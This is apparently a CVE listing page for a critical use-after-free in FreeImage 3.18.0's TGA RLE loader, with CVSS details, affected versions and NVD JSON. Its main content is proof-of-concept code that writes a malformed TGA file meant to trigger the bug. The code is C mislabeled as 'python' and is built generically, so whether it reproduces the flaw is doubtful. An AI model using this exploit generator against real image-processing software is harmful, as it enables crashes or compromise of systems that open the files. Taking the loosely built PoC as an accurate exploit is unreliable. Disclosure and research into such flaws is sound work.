Security Vulnerability Report
中文
CVE-2025-70968 CVSS 9.8 CRITICAL

CVE-2025-70968

Published: 2026-01-14 17:16:07
Last Modified: 2026-01-23 14:50:59

Description

FreeImage 3.18.0 contains a Use After Free in PluginTARGA.cpp;loadRLE().

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:freeimage_project:freeimage:3.18.0:*:*:*:*:*:*:* - VULNERABLE
FreeImage < 3.18.0
FreeImage 3.18.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-70968 PoC - FreeImage loadRLE() Use After Free * Generate malicious TGA file to trigger UAF in loadRLE() * Usage: gcc -o poc poc.c && ./poc */ #include <stdio.h> #include <stdlib.h> #include <string.h> #pragma pack(push, 1) typedef struct { unsigned char id_length; unsigned char color_map_type; unsigned char image_type; unsigned short color_map_origin; unsigned short color_map_length; unsigned char color_map_depth; unsigned short x_origin; unsigned short y_origin; unsigned short width; unsigned short height; unsigned char bits_per_pixel; unsigned char image_descriptor; } TGA_HEADER; #pragma pack(pop) void generate_malicious_tga(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) { perror("Failed to open file"); return; } TGA_HEADER header = {0}; header.image_type = 10; // RLE compressed true-color header.width = 256; header.height = 256; header.bits_per_pixel = 32; header.image_descriptor = 0x20; fwrite(&header, sizeof(TGA_HEADER), 1, fp); // Malformed RLE data to trigger UAF in loadRLE() unsigned char rle_packet[512]; memset(rle_packet, 0x41, sizeof(rle_packet)); // Craft RLE packets that cause memory management issues for (int i = 0; i < 4; i++) { rle_packet[i * 128] = 0x80 | 127; // RLE repeat packet fwrite(rle_packet, 128, 1, fp); } fclose(fp); printf("Malicious TGA file created: %s\n", filename); } int main() { generate_malicious_tga("cve-2025-70968 poc.tga"); printf("PoC for CVE-2025-70968 generated\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-70968", "sourceIdentifier": "[email protected]", "published": "2026-01-14T17:16:07.443", "lastModified": "2026-01-23T14:50:59.003", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeImage 3.18.0 contains a Use After Free in PluginTARGA.cpp;loadRLE()."}, {"lang": "es", "value": "FreeImage 3.18.0 contiene un Uso Después de Liberar en PluginTARGA.cpp;loadRLE()."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freeimage_project:freeimage:3.18.0:*:*:*:*:*:*:*", "matchCriteriaId": "649CACB0-AD52-4217-9DF9-B692533ED990"}]}]}], "references": [{"url": "https://github.com/MiracleWolf/FreeimageCrash/tree/main", "source": "[email protected]", "tags": ["Product", "Exploit"]}]}}